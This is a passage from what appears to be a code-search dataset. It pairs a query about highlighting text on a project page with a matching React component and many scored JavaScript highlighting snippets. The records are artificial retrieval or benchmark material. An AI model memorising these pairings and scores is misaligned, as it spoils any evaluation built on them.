"38c8227b7f8d209b6ef9ac169cefb414", "score": "0.53925806", "text": "async function viewPeople(){\n\t//retrieve people\n\tconst url = new URL('/person', SERVER);\n\tconst name = document.getElementById(\"displayname\").value;\n\tif (name) {url.searchParams.append(\"q\", `displayname:${name}`);}\n\tconst data = await getSearchData(url);\n\tif (!data) { document.getElementById(\"results\").innerHTML = auth_err; return; }\n\t//display people\n\tlet html = \"<table><tr><th colspan='2'>People</th></tr>\";\n\tdata.forEach((obj) => {\n\t\tlet num = obj.personid;\n\t\tlet name = obj.displayname;\n\t\thtml += `<tr><td><input id=\"gall\" type=\"button\" onclick=\"viewDetails('/person', 'personid', '${num}')\"></td><td>${name}</td></tr>`;\n\t});\n\thtml += \"</table>\";\n\tdocument.getElementById(\"results\").innerHTML = html;\n}", "title": "" }, { "docid": "8928e9911e293e1629ac848374bff459", "score": "0.5390485", "text": "getComapanyInfo(company_id){\n axios.get(\"http://localhost:5000/company-profile/?_id:\" + this.props.match.params.id)\n .then((response) => {\n const companyLists = response.data;\n const currentCompany = companyLists.find(person => person._id === company_id);\n \n //inserting it into the company lists. \n var insertData = createData( currentCompany.logo, currentCompany.company_title, currentCompany._id );\n // console.log(\"data is: \" + JSON.stringify(insertData));\n\n this.setState({companyLists: this.state.companyLists.concat([insertData]) })\n\n })\n .catch(function (error) {console.log(error);});\n }", "title": "" } ]
ba996cb211f94189454c0fc6157bc8ea
Used to highlight a section of text on a project page, such as the goal and the outcome.
[ { "docid": "5218ab7240f7365682ad275b9fbdf7d2", "score": "0.0", "text": "function Highlight(props){\n return(\n <div className=\"px-5 py-2 col-span-3 self-start lg:rounded-md lg:col-span-4 lg:col-start-3 bg-lavender\">\n <h3 className=\"font-semibold lg:text-2xl\" >{props.heading}</h3>\n <p className=\"mt-3 lg:text-xl\">{props.p1} </p>\n <p className=\"mt-3 lg:text-xl\">{props.p2} </p>\n </div> \n )\n}", "title": "" } ]
[ { "docid": "0c19d968a2868892f295429c0d082a79", "score": "0.6340797", "text": "function highlight_page(){\r\nif (page_title.innerHTML == \"FWD Labs\"){\r\n labs_tab.style.backgroundColor = 'rgb(36,36,36)';\r\n labs_tab.style.color = ' rgb(176,145,91)';\r\n}\r\nif (page_title.innerHTML == \"FWD Projects\"){\r\n projects_tab.style.backgroundColor = 'rgb(36,36,36)';\r\n projects_tab.style.color = ' rgb(176,145,91)';\r\n}\r\nif (page_title.innerHTML == \"FWD Journal\"){\r\n journal_tab.style.backgroundColor = 'rgb(36,36,36)';\r\n journal_tab.style.color = ' rgb(176,145,91)';\r\n}\r\n}", "title": "" }, { "docid": "1f83e1233c55b2be7ac9567269fb00f8", "score": "0.6316289", "text": "highlight(lookup) {\n let line = this.getText().slice(lookup.lineStartOffset, lookup.lineEndOffset);\n let indent = ' '.repeat(lookup.col - 1);\n return `${line}\n${indent}^`;\n }", "title": "" }, { "docid": "4ceceb05dc6bf9af31f4e362110bea2d", "score": "0.6242987", "text": "getHighlightedText(searchTerm, higlight) {\n let parts = searchTerm.split(new RegExp(`(${higlight})`, 'gi'));\n return <span> { parts.map((part, i) =>\n <span key={i} className={part.toLowerCase() === higlight.toLowerCase() ? 'highlight' : {} }>\n { part }\n </span>)\n } </span>;\n\t\t}", "title": "" }, { "docid": "ef979dce62ce4776c8f2e3c9356a0b79", "score": "0.6242394", "text": "function highlight() {\n document.getElementById(\"para1\").style.backgroundColor = \"yellow\";\n /* Highlight paragraph text (i.e. change background color to yellow) */\n}", "title": "" }, { "docid": "b2fb58138aae1584f647c9c908a46a84", "score": "0.6182572", "text": "function highlight(element, index) {\n// Divide words in 2 pieces by index\n let innerHTML = element.innerHTML;\n const firstPart = innerHTML.slice(0,index + 1);\n const lastPart = innerHTML.slice(index + 1);\n// inject a span with the first part of the words\n if (index >= 0) { \n innerHTML = `<span class='highlight'>${firstPart}</span>${lastPart}`\n element.innerHTML = innerHTML;\n }\n}", "title": "" }, { "docid": "398620d9e5fb29432f03ce24d9044b53", "score": "0.61399657", "text": "function highlightMatch() {\n var codeContent = document.getElementsByClassName('highlight js-file-line-container')[0];\n\n // revert all highlighted text back to their previous state\n var highlighted = codeContent.getElementsByClassName('match_highlighted');\n while (highlighted.length !== 0) {\n var span = highlighted[0];\n span.parentNode.replaceChild(document.createTextNode(span.textContent), span);\n }\n\n // Gets clicked on word\n var t = '';\n\n // Webkit, Gecko\n var s = window.getSelection();\n if (s.isCollapsed) { // don't care when the user highlight text manually\n s.modify('move', 'forward', 'character');\n s.modify('move', 'backward', 'word');\n s.modify('extend', 'forward', 'word');\n t = s.toString();\n t = t.replace(/[^\\w\\s]/gi, '').trim();\n s.modify('move', 'forward', 'character'); //clear selection\n\n var n, allTextNodes = [],\n walk = document.createTreeWalker(codeContent, NodeFilter.SHOW_TEXT, null, false);\n while (n = walk.nextNode()) {\n allTextNodes.push(n);\n }\n\n for (var i = 0; i < allTextNodes.length; i++) {\n n = allTextNodes[i];\n var replaceNodes = processTextNode(n, t);\n var parentNode = n.parentNode;\n parentNode.replaceChild(replaceNodes[replaceNodes.length - 1], n);\n var referenceElement = replaceNodes[replaceNodes.length - 1];\n for (var k = 0; k < replaceNodes.length - 1; k++) {\n parentNode.insertBefore(replaceNodes[k], referenceElement);\n }\n }\n\n // normalize the document, i.e. merging adjacent text nodes\n codeContent.normalize();\n\n // clear the current markers on the indicator\n fns.codenav_clear_marks();\n\n // add a marker for each highlighted span\n highlighted = $('.match_highlighted');\n for (i = 0; i < highlighted.length; i++) {\n var tok = highlighted[i];\n\n // grab the line number\n var lineno = parseInt($(tok).closest('td').attr('id').slice(2));\n fns.codenav_mark_line(lineno, tok);\n }\n\n // log the clicked on word for debugging purpose\n console.log(\"\\\"\" + t + \"\\\"\");\n }\n}", "title": "" }, { "docid": "c2e8ada05f9035dc6b8f7c9ff61700ec", "score": "0.6132884", "text": "function highlightKeyword(text, slice) {\n var result = '';\n var prevEnd = slice.start;\n slice.hits.forEach(function (hit) {\n result += text.substring(prevEnd, hit.position);\n var end = hit.position + hit.length;\n result += '<b class=\"search-keyword\">' + text.substring(hit.position, end) + '</b>';\n prevEnd = end;\n });\n result += text.substring(prevEnd, slice.end);\n return result;\n }", "title": "" }, { "docid": "371db1892857d50db21407bc675f9f7e", "score": "0.6038819", "text": "function highlightSelection(e) \n{\n selection = window.getSelection();\n \n // Clear all highlights if requested\n if (clearBetweenSelections)\n {\n clearHighlightsOnPage();\n }\n \n //Skip this section if mouse event is undefined\n if (e != undefined)\n {\n \n //Ignore right clicks; avoids odd behavior with CTRL key\n if (e.button == 2)\n {\n return;\n }\n\n //Exit if CTRL key is held while auto highlight is checked on\n if(imedBool && e.ctrlKey)\n {\n return;\n }\n \n //Exit if CTRL key not held and auto highlight is checked off\n if(!imedBool && !e.ctrlKey)\n {\n return;\n }\n }\n \n if (selection.anchorNode.nodeType != 3) {\n return;\n }\n \n var selectedText = selection.toString().replace(/^\\s+|\\s+$/g, \"\");\n var testText = selectedText.toLowerCase();\n \n //Exit if selection is whitespace or what was previously selected\n if (selectedText == '' || lastText == testText)\n {\n return;\n }\n \n if (selection.anchorNode.nodeType == 3 && selection.toString() != '') { // text node\n var mySpan = document.createElement(\"span\");\n var prevSpan = document.getElementById(\"mySelectedSpan\");\n if (prevSpan != null) {\n prevSpan.removeAttribute(\"id\");\n }\n mySpan.id = \"mySelectedSpan\";\n var range = selection.getRangeAt(0).cloneRange();\n range.surroundContents(mySpan);\n }\n \n //Perform highlighting\n localSearchHighlight(selectedText, singleSearch);\n \n //Store processed selection for next time this method is called\n lastText = testText;\n}", "title": "" }, { "docid": "527544c159516070705d15197110ed54", "score": "0.60300875", "text": "highlightTestStep(text, step) {\n return text.replace(new RegExp('(^|\\\\s*)(' + step + '\\\\.[\\\\s\\\\S]*?)(\\\\s*\\\\d+\\\\.|$)'),\n '$1<b>$2</b>$3');\n }", "title": "" }, { "docid": "a6d55d74f4a8a8a1fe6d0c45398648a1", "score": "0.60246706", "text": "function highlight()\n{\n // Open the whole description by clicking on \"Voir plus\"\n document.getElementsByClassName(\"_27ngl _64Mha _2NG-q _29R_v _3Q3XS HGqCc -HQxY _3FpaQ Mb3fh _137P- P4PEa _35DXM\")[0].click();\n\n var description = document.getElementsByClassName(\"_1fFkI\")[0];\n //LOG(description.innerHTML);\n\n var keywords = [\"ascenseur\", \"parking\", \"balcon\",\"garage\",\"terrasse\", \"cave\", \"travaux\"];\n\n if(keywords.length)\n {\n keywords.sort((a, b) => b.length - a.length);\n var regex = new RegExp(keywords.join('|') + '(?!([^<]+)?<)', 'gi');\n description.innerHTML = description.textContent.replace(regex, '<b style=\"background-color:#ff0;font-size:100%\">$&</b>');\n }\n}", "title": "" }, { "docid": "8008061757f5792cecc98d98ce883b5b", "score": "0.59412867", "text": "function highlight_code_range(code_section, fromLine, toLine, scroll){\n // Wrap each leftover piece of text in a span to handle highlighting a range of lines.\n code_section.find('code').contents().each(function(){\n if (!$(this).is('span')) {\n var newText = $(this).wrap('<span class=\"string\"></span>');\n $(this).replaceWith(newText);\n }\n });\n \n // Wrap code block lines in a div to highlight\n var highlightStart = code_section.find('.line-numbers').filter(function(){\n return parseInt(this.innerText.trim()) === fromLine; \n });\n var highlightEnd = code_section.find('.line-numbers').filter(function(){\n return parseInt(this.innerText.trim()) === toLine;\n });\n if(highlightEnd.length === 0){\n var lastLine = parseInt(code_section.find('.line-numbers').last().text().trim());\n // If the line number after the last line to highlight was a tag, then search for the next line number.\n while(highlightEnd.length === 0 && toLine < lastLine){\n toLine = toLine + 1;\n highlightEnd = code_section.find('.line-numbers').filter(function(){\n return parseInt(this.innerText.trim()) === toLine;\n });\n }\n }\n var range = highlightStart.nextUntil(highlightEnd);\n range.wrapAll('<div class=\"highlightSection\"></div>');\n\n if(scroll){\n var scrollTop = $('#code-column-content')[0].scrollTop;\n var position = range.position().top;\n var titleBarHeight = $('#code-column-title-container').outerHeight();\n $('#code-column-content').animate({scrollTop: scrollTop + position - titleBarHeight});\n } \n}", "title": "" }, { "docid": "479b234a79810b543baeb28ac1246229", "score": "0.5921743", "text": "function addHighlight(text, pattern) {\n const regex = addPatternToRegex(pattern);\n return text.replace(regex, `<span class =\"highlight\">${pattern}</span>`);\n}", "title": "" }, { "docid": "9d0666fa5322a376bea2ef8a17cc8181", "score": "0.5920513", "text": "function highlightSection(anchor) {\r\n\tif (currentlyHighlighting)\r\n\t\treturn;\r\n\t\r\n\tvar anim;\r\n\tvar endColor = 'f78000';\r\n\tvar sec = document.getElementById('sec_'+anchor);\r\n\t\r\n\tvar cnt = document.getElementById('seccnt_'+anchor);\r\n\tif (cnt != null) {\r\n\t\tvar startColor; \r\n\t\t\r\n\t\t\r\n\t\tif (sec.className == 'subSecRow1')\r\n\t\t\tstartColor = '171772';\r\n\t\telse\r\n\t\t\tstartColor = '696ade';\r\n\r\n\t\tvar head = document.getElementById('sechd_'+anchor);\r\n\t\tanim = [\r\n\t\t { durationMs: 500, steps: 10, properties: [ {type: 'csscolor', obj: cnt, name: 'border-color', s0: endColor, s1: startColor},\r\n\t\t {type: 'csscolor', obj: head, name: 'background-color', s0: endColor, s1: startColor}],\r\n\t\t endTo1Cb: function() {\r\n\t\t \tcurrentlyHighlighting = false;\r\n\t\t }\r\n\t\t }\r\n\t\t ];\r\n\t}\r\n\telse {\r\n\t\tanim = [\r\n\t { durationMs: 500, steps: 10, properties: [ {type: 'csscolor', obj: sec, name: 'background-color', s0: endColor, s1: 'ffffff'}],\r\n\t endTo1Cb: function() {\r\n\t \tsec.style.setProperty('background-color', null, null);\r\n\t \tcurrentlyHighlighting = false;\r\n\t }\r\n\t }\r\n\t ];\r\n\t}\r\n\t\r\n\tcurrentlyHighlighting = true;\r\n\tstartAnimationSequence(anim);\r\n}", "title": "" }, { "docid": "d5ef8d59b63655065c0d4dd0aaaafec5", "score": "0.59167767", "text": "function highlightSelected(){}", "title": "" }, { "docid": "54f4b77c0a0417b49248c0a624ee6dea", "score": "0.5907206", "text": "function highlight(el, clazz) {}", "title": "" }, { "docid": "ce878866a568446e976bce049426ff16", "score": "0.5882168", "text": "aHighlight({ commit }, coords) {\n commit('mHighlight', coords)\n }", "title": "" }, { "docid": "2170f067e4fc6a62aa43a42c0af3f4b2", "score": "0.5862197", "text": "highlightSearchText(posts, searchText){\n const searchKeywordIndex = (str,keyword,indexArr = []) => {\n const lastIndexPos = indexArr.length == 0 ? 0 : indexArr[indexArr.length - 1] + 1\n const index = str.indexOf(keyword,lastIndexPos)\n if(index == -1 || !str || !keyword){\n return indexArr\n } else {\n return searchKeywordIndex(str,keyword,indexArr.concat([index]))\n }\n }\n\n const searchBraceIndex = (str,indexArr = []) => {\n return (searchKeywordIndex(str,'<').concat(searchKeywordIndex(str,'>'))).sort((a,b) => a - b)\n }\n\n const isIndexInBrace = (content,bracePos,index) => {\n switch (bracePos.length){\n case 0 :\n return false\n case 1 :\n return false\n default :\n return (\n content[bracePos[0]] == '<'\n && content[bracePos[1]] == '>'\n && index > bracePos[0]\n && index < bracePos[1]\n ) || isIndexInBrace(content,bracePos.slice(2),index)\n }\n }\n\n const breakContent = (content,len, validIndexs,prevPos = 0,splits = []) => {\n switch(validIndexs.length){\n case 0:\n // concat the rest of the content\n return splits.concat([\n content.slice(Math.min(prevPos,content.length)),\n ])\n default:\n const contentIndex = validIndexs[0]\n // break down into two part\n const s = splits.concat([\n content.slice(prevPos ,contentIndex),\n content.slice(contentIndex,contentIndex + len),\n ])\n return breakContent(content,len,validIndexs.slice(1),contentIndex + len ,s)\n }\n }\n\n const mergeAndInjectHightLightContent = (splits,hlContent = '') => {\n switch (splits.length) {\n case 0 :\n return hlContent\n case 1 :\n return `${hlContent}${splits[0]}`\n default :\n const merged = `${hlContent}${splits[0]}<span class=\"search-highlight\">${splits[1]}</span>`\n return mergeAndInjectHightLightContent(splits.slice(2),merged)\n }\n }\n\n const searchAndInjectHighlightBetweenKeyword = (content,keyword) => {\n // find all brace for identify the html tag\n const bracePos = searchBraceIndex(content)\n\n // search the keyword position\n const validIndex = searchKeywordIndex(content.toLowerCase(),keyword.toLowerCase())\n .filter(index => !isIndexInBrace(content,bracePos,index))\n\n return {\n matches : validIndex.length,\n hlContent : mergeAndInjectHightLightContent(breakContent(content,keyword.length,validIndex))\n }\n }\n\n const searchMultipleKeyword = (keywordArr, post, result = { matches: 0 }) => {\n switch (keywordArr.length) {\n case 0 :\n return result\n default :\n const hlm = Object.assign({},post)\n\n const title = angular.element('<div/>').html(hlm.name).html()\n const keyword = keywordArr[0]\n\n const searchResult = {\n name: searchAndInjectHighlightBetweenKeyword(title,keyword)\n }\n\n // set the name\n hlm.name = searchResult.name.hlContent\n\n result = {\n matches : result.matches + searchResult.name.matches,\n post: hlm\n }\n\n return searchMultipleKeyword(keywordArr.slice(1),hlm,result)\n }\n }\n\n return posts.map(post => {\n // map to a search result\n return searchMultipleKeyword(searchText.split(' '),post)\n }).map(e => e.post)\n\n }", "title": "" }, { "docid": "a2fb4c61a2c01df594bdf117c565cf18", "score": "0.58379865", "text": "function addHighlights(category) {\n $('#mw-content-text a').each(function() {\n if (pageList[category][$(this).attr('title')]) {\n $(this).css('color', 'green'); //change color here\n }\n });\n }", "title": "" }, { "docid": "e14f0facc9cc8d02a49e65f0c9270c18", "score": "0.5834425", "text": "function highlight(text)\n{\n\tinputText = document.getElementById(\"inputText\")\n\tvar innerHTML = inputText.innerHTML\n\tvar index = innerHTML.indexOf(text);\n\tif ( index >= 0 )\n\t{\n\t\tinnerHTML = innerHTML.substring(0,index) + \"<span class='highlight'>\" + innerHTML.substring(index,index+text.length) + \"</span>\" + innerHTML.substring(index + text.length);\n\t\tinputText.innerHTML = innerHTML\n\t}\n\n}", "title": "" }, { "docid": "6319938ffc4aba88e99b13bba4e967a1", "score": "0.5820722", "text": "function subWikify(parent,text,startPos,endPos,highlightRegExp,highlightMatch)\r\n{\r\n // Check for highlights\r\n while(highlightMatch && (highlightRegExp.lastIndex > startPos) && (highlightMatch.index < endPos) && (startPos < endPos))\r\n {\r\n // Deal with the plain text before the highlight\r\n if(highlightMatch.index > startPos)\r\n {\r\n parent.appendChild(document.createTextNode(text.substring(startPos,highlightMatch.index)));\r\n startPos = highlightMatch.index;\r\n }\r\n // Deal with the highlight\r\n var highlightEnd = Math.min(highlightRegExp.lastIndex,endPos);\r\n var theHighlight = createTiddlyElement(parent,\"span\",null,\"highlight\",text.substring(startPos,highlightEnd));\r\n startPos = highlightEnd;\r\n // Nudge along to the next highlight if we're done with this one\r\n if(startPos >= highlightRegExp.lastIndex)\r\n highlightMatch = highlightRegExp.exec(text);\r\n }\r\n // Do the unhighlighted text left over\r\n if(startPos < endPos)\r\n {\r\n parent.appendChild(document.createTextNode(text.substring(startPos,endPos)));\r\n //startPos = endPos;\r\n }\r\n return(highlightMatch);\r\n}", "title": "" }, { "docid": "0ae2a2440819db2c8980a48cf8af67fd", "score": "0.57939434", "text": "function highlight(color) {\n Logger.log('color: ', color);\n var selection = DocumentApp.getActiveDocument().getSelection();\n if (selection == null) {\n // some message here\n return false;\n }\n\n var elements = selection.getRangeElements();\n\n elements.forEach(function(element) {\n if (element.getElement().getType() == 'TEXT') {\n var ele = element.getElement();\n ele.setBackgroundColor(\n \t element.getStartOffset(), \n \t element.getEndOffsetInclusive(), \n \t color\n );\n }\n });\n\n return true;\n}", "title": "" }, { "docid": "3e0fa38738f5c73c8957169466e95180", "score": "0.5793365", "text": "function renderHighlight (positions, page, searchWord) {\n // Display highlights.\n if (positions.length > 0) {\n positions.forEach(position => {\n const $textLayer = $(`.page[data-page-number=\"${page.page}\"] .textLayer`, window.iframeWindow.document)\n const infos = page.meta.slice(position.start, position.end)\n let fromX, toX, fromY, toY\n let text = ''\n infos.forEach(info => {\n if (!info) {\n return\n }\n const { x, y, w, h, char } = extractMeta(info)\n fromX = (fromX === undefined ? x : Math.min(x, fromX))\n toX = (toX === undefined ? (x + w) : Math.max((x + w), toX))\n fromY = (fromY === undefined ? y : Math.min(y, fromY))\n toY = (toY === undefined ? (y + h) : Math.max((y + h), toY))\n text += char\n })\n const scale = window.iframeWindow.PDFView.pdfViewer.getPageView(0).viewport.scale\n let $div = $('<div class=\"pdfanno-search-result\"/>')\n $div.css({\n top : fromY * scale + 'px',\n left : fromX * scale + 'px',\n width : (toX - fromX) * scale + 'px',\n height : (toY - fromY) * scale + 'px',\n zIndex : nextZIndex()\n })\n $textLayer.append($div)\n // TODO 後で、改行されたものとかにも対応できるようにする(その場合は、rectsが複数)\n const aPosition = [[ fromX, fromY, (toX - fromX), (toY - fromY) ]]\n searchHighlights.push({\n page : page.page,\n top : fromY,\n position : aPosition,\n searchPosition : position,\n $elm : $div,\n text\n })\n })\n }\n\n if (searchHighlights.length > 0) {\n // Init highlight at the current page.\n const currentPage = window.iframeWindow.PDFViewerApplication.page\n let found = false\n for (let i = 0; i < searchHighlights.length; i++) {\n if (currentPage === searchHighlights[i].page) {\n searchUI.setSearchPosition(i)\n found = true\n break\n }\n }\n // If there is no result at the current page, set the index 0.\n if (!found) {\n searchUI.setSearchPosition(0)\n }\n }\n}", "title": "" }, { "docid": "7645177cadc6e1c812fc4ed1f6050ab9", "score": "0.5783193", "text": "function innerHighlight(node, pattern) {\n var skip = 0;\n if (node.nodeType === 3) { // 3 - Text node\n var pos = node.data.search(regex);\n if (pos >= 0 && node.data.length > 0) { // .* matching \"\" causes infinite loop\n \t//pdf.highlight(pattern,modifs)\n var match = node.data.match(regex); // get the match(es), but we would only handle the 1st one, hence /g is not recommended\n haha = match;\n var spanNode = document.createElement('span');\n spanNode.className = 'highlight'; // set css\n spanNode.style.backgroundColor = \"red\";\n spanNode.style.color = \"white\";\n var middleBit = node.splitText(pos); // split to 2 nodes, node contains the pre-pos text, middleBit has the post-pos\n var endBit = middleBit.splitText(match[0].length); // similarly split middleBit to 2 nodes\n var middleClone = middleBit.cloneNode(true);\n\n addAnnotation(middleClone.nodeValue);\n //hehe = middleClone;\n\n\n/*\n spanNode.appendChild(selectionContents);\n spanNode.setAttribute(\"class\",\"uiWebviewHighlight\");\n spanNode.style.backgroundColor = \"red\";\n spanNode.style.color = \"white\";\n spanNode.setAttribute(\"onclick\",\"deleteSpan('\" + n + \"')\");\n spanNode.title = selectionContents;\n*/\n\n spanNode.appendChild(middleClone);\n // parentNode ie. node, now has 3 nodes by 2 splitText()s, replace the middle with the highlighted spanNode:\n middleBit.parentNode.replaceChild(spanNode, middleBit); \n skip = 1; // skip this middleBit, but still need to check endBit\n }\n } else if (node.nodeType === 1 && node.childNodes && !/(script|style)/i.test(node.tagName)) { // 1 - Element node\n for (var i = 0; i < node.childNodes.length; i++) { // highlight all children\n i += innerHighlight(node.childNodes[i], pattern); // skip highlighted ones\n }\n }\n return skip;\n }", "title": "" }, { "docid": "4aaf7b29001139cdd01e0ad7142338a3", "score": "0.5770856", "text": "syntaxHighlight() {\n let me = this,\n output = me.getReference('output'),\n oVdom = output.vdom;\n\n Neo.main.addon.HighlightJS.syntaxHighlight({\n appName: me.component.appName,\n vnodeId: oVdom.cn[0].id\n });\n }", "title": "" }, { "docid": "4cdd932cdce2c139e58bd107a2b1d653", "score": "0.5767275", "text": "function highlightedText() {\n try {\n if (window.ActiveXObject) {\n var c = document.selection.createRange();\n return c.htmlText;\n }\n \n var nNd = document.createElement(\"span\");\n nNd.setAttribute(\"id\", \"answer\");\n var w = getSelection().getRangeAt(0);\n w.surroundContents(nNd);\n return nNd.innerHTML;\n } catch (e) {\n if (window.ActiveXObject) {\n return document.selection.createRange();\n } else {\n return getSelection();\n }\n }\n }", "title": "" }, { "docid": "a991a650d0680416aa6a38e32279104d", "score": "0.5763337", "text": "function doHighlight(bodyText, searchTerm, highlightStartTag, highlightEndTag)\n{\n // the highlightStartTag and highlightEndTag parameters are optional\n if ((!highlightStartTag) || (!highlightEndTag)) {\n highlightStartTag = \"<font style='color:blue; background-color:yellow;'>\";\n highlightEndTag = \"</font>\";\n }\n\n // find all occurences of the search term in the given text,\n // and add some \"highlight\" tags to them (we're not using a\n // regular expression search, because we want to filter out\n // matches that occur within HTML tags and script blocks, so\n // we have to do a little extra validation)\n var newText = \"\";\n var i = -1;\n var lcSearchTerm = searchTerm.toLowerCase();\n var lcBodyText = bodyText.toLowerCase();\n\n while (bodyText.length > 0) {\n i = lcBodyText.indexOf(lcSearchTerm, i+1);\n if (i < 0) {\n newText += bodyText;\n bodyText = \"\";\n } else {\n // skip anything inside an HTML tag\n if (bodyText.lastIndexOf(\">\", i) >= bodyText.lastIndexOf(\"<\", i)) {\n // skip anything inside a <script> block\n if (lcBodyText.lastIndexOf(\"/script>\", i) >= lcBodyText.lastIndexOf(\"<script\", i)) {\n newText += bodyText.substring(0, i) + highlightStartTag + bodyText.substr(i, searchTerm.length) + highlightEndTag;\n bodyText = bodyText.substr(i + searchTerm.length);\n lcBodyText = bodyText.toLowerCase();\n i = -1;\n }\n }\n }\n }\n\n return newText;\n}", "title": "" }, { "docid": "e2913595abc784baddad7f720fc651d7", "score": "0.5742445", "text": "highlight() {\n this._box.highlight();\n }", "title": "" }, { "docid": "34b8385bd5c1f18554c5f058be84861a", "score": "0.5739259", "text": "function highlight(e) {\n var matchingLines = $(\".\" + e.currentTarget.className.split(\" \").join(\".\"));\n\n $(matchingLines).each(function() {\n $(this).css(\"background-color\", \"lightgray\");\n })\n }", "title": "" }, { "docid": "fea1ec56d9c6f70e5825539f094ac5af", "score": "0.57368004", "text": "function stepHighlight() {\n\t\thighlightInterval = setInterval(highlight,1000);\n\t\t\t\t\n\t}", "title": "" }, { "docid": "9368573e742533c2a3778c1932172b3b", "score": "0.57056415", "text": "function highlight(text, lang) {\n\tvar prismLang = loadPrismLang(lang);\n\tif (prismLang) {\n\t\treturn _prismjs2.default.highlight(text, prismLang);\n\t}\n}", "title": "" }, { "docid": "11bf5710a439aeeb8b3f4399de63f7d2", "score": "0.5685255", "text": "function highlight(){\n launchMessage.style(\"color\",\"#555555\");\n}", "title": "" }, { "docid": "79a35560062a4b1600df1b3923b9220e", "score": "0.5684048", "text": "async highlights() {\n for (let i = 0; i < this.searchResults.length; i++) {\n const boldTagStart = \"<em>\"\n const boldTagEnd = \"</em>\"\n let indexof_title = this.searchResults[i].title.indexOf(this.searchTerm)\n let indexof_content = this.searchResults[i].content.indexOf(this.searchTerm)\n let new_index_title\n let new_index_content\n\n\n while (indexof_title != -1) {\n this.searchResults[i].title = this.searchResults[i].title.slice(0, indexof_title) + boldTagStart +\n this.searchResults[i].title.slice(indexof_title, indexof_title + this.searchTerm.length) + boldTagEnd +\n this.searchResults[i].title.slice(indexof_title + this.searchTerm.length)\n new_index_title = indexof_title + boldTagStart.length + this.searchTerm.length + boldTagEnd.length\n indexof_title = this.searchResults[i].title.indexOf(this.searchTerm, new_index_title)\n }\n\n while (indexof_content != -1) {\n this.searchResults[i].content = this.searchResults[i].content.slice(0, indexof_content) + boldTagStart +\n this.searchResults[i].content.slice(indexof_content, indexof_content + this.searchTerm.length) + boldTagEnd +\n this.searchResults[i].content.slice(indexof_content + this.searchTerm.length)\n new_index_content = indexof_content + boldTagStart.length + this.searchTerm.length + boldTagEnd.length\n indexof_content = this.searchResults[i].content.indexOf(this.searchTerm, new_index_content)\n }\n\n }\n }", "title": "" }, { "docid": "cceb4f7427629f579d4d4901d3da167b", "score": "0.5670991", "text": "async function highlight(sourceArray, targetId) {\n\n var opar = document.getElementById(targetId).innerHTML;\n var i = 0;\n while (i < sourceArray.length) {\n var paragraph = document.getElementById(targetId);\n var search = sourceArray[i];\n var re = new RegExp(search, 'g');\n //place <mark></mark> around summary text search results\n if (search.length > 0) {\n paragraph.innerHTML = opar.replace(re, `<mark>$&</mark>`);\n opar = document.getElementById(targetId).innerHTML;\n }\n i++;\n }\n}", "title": "" }, { "docid": "032ebfd5d3c1978cd6ffa89d4177fd59", "score": "0.56631047", "text": "function highlight(hay, pin) {\r\n\tlet b = hay;\r\n\tlet q = pin;\r\n\tq = q.replace(/(\\s+)/, \"(<[^>]+>)*$1(<[^>]+>)*\");\r\n\tlet p = new RegExp(`(${q})`, \"gi\");\r\n\tb = b.replace(p, \"<span class='highlight'>$1</span>\");\r\n\tb = b.replace(/(<span>[^<>]*)((<[^>]+>)+)([^<>]*<\\/span>)/, \"$1</span>$2<span class='highlight'>>$4\");\r\n\treturn b;\r\n}", "title": "" }, { "docid": "026cf2a4c6d1b74bb75fa6d6d9d074c3", "score": "0.5660462", "text": "function highlightLine(line, highlightOptions) {\n var sections = [];\n for(var i = 0; i<highlightOptions.length; i++){\n var highlightOption = highlightOptions[i];\n if(highlightOption){\n var match;\n while(match = highlightOption.patternRegex.exec(line)){\n var b2 = highlightOption.patternRegex.lastIndex-1;\n var b1 = b2-match[0].length+1;\n var j;\n for(j=0; j<sections.length; j++){\n var section = sections[j];\n if(section!=null){\n var a1 = section.start;\n var a2 = section.end;\n if(b1<=a1 && b2>=a2){ // Case 2\n // Remove section.\n sections[j]=null;\n } else if(b1<=a1 && b2>=a1 && b2<a2){ // Case 3\n section.start = b2+1;\n } else if(b1>a1 && b1<=a2 && b2>=a2){ // Case 4\n section.end = b1-1;\n } else if(b1>a1 && b2<a2){ // 5\n sections.push({start: a1, end: b1-1, colorAnsi: sections[j].colorAnsi});\n sections.push({start: b2+1, end: a2, colorAnsi: sections[j].colorAnsi});\n sections[j]=null;\n }\n }\n }\n sections.push({start: b1, end: b2, colorAnsi: highlightOption.colorAnsi});\n }\n }\n }\n var result = [];\n var current = 0;\n \n sections.sort(function(a, b) {\n if(a===null && b===null){\n return 0;\n }\n if(a===null && b!==null){\n return 1;\n }\n if(a!==null && b===null){\n return -1;\n }\n \n return a.start - b.start;\n });\n \n for (var i = 0; i < sections.length; i++) {\n var section = sections[i];\n if(section){\n result.push(line.substr(current, section.start-current));\n result.push(section.colorAnsi.open);\n result.push(line.substr(section.start, section.end-section.start+1));\n result.push(section.colorAnsi.close);\n current = section.end+1;\n } else{\n break;\n }\n }\n result.push(line.substr(current, line.length-current));\n \n return result.join('');\n}", "title": "" }, { "docid": "bfa612cab6122a97d28a99a8812ec327", "score": "0.5659458", "text": "function highlightCurrent (link, type) {\n\tcurrent_competency_text = link.parentNode.parentNode.parentNode.getElementsByClassName('col0')[0];\n\t$(current_competency_text).css(\"background-color\", \"yellow\");\n\t$(current_competency_text).css(\"color\", competencyColorsIndex[type]);\n\t$(current_competency_text).css(\"font-weight\", \"bolder\");\n}", "title": "" }, { "docid": "76612e34fc8a157669f059ec70269990", "score": "0.56548095", "text": "function doHighlightExact(bodyText, searchTerm, highlightStartTag, highlightEndTag) \r\n{\r\n // the highlightStartTag and highlightEndTag parameters are optional\r\n if ((!highlightStartTag) || (!highlightEndTag)) {\r\n// highlightStartTag = \"<font style='color:blue; background-color:yellow;'>\";\r\n// highlightStartTag = \"<font style='color:#933794; background-color:#cccccc;'>\";\t\r\n highlightStartTag = \"<font style='color:red;'>\";\r\n\r\n highlightEndTag = \"</font>\";\r\n }\r\n \r\n // find all occurences of the search term in the given text,\r\n // and add some \"highlight\" tags to them (we're not using a\r\n // regular expression search, because we want to filter out\r\n // matches that occur within HTML tags and script blocks, so\r\n // we have to do a little extra validation)\r\n var newText = \"\";\r\n var i = -1;\r\n var lcSearchTerm = searchTerm.toLowerCase();\r\n var lcBodyText = bodyText.toLowerCase();\r\n var tmpBefore = \"\";\r\n var tmpAfter = \"\";\t\r\n \r\n while (bodyText.length > 0) {\r\n i = lcBodyText.indexOf(lcSearchTerm, i+1);\r\n if (i < 0) {\r\n newText += bodyText;\r\n bodyText = \"\";\r\n } else {\r\n // skip anything inside an HTML tag\r\n if (bodyText.lastIndexOf(\">\", i) >= 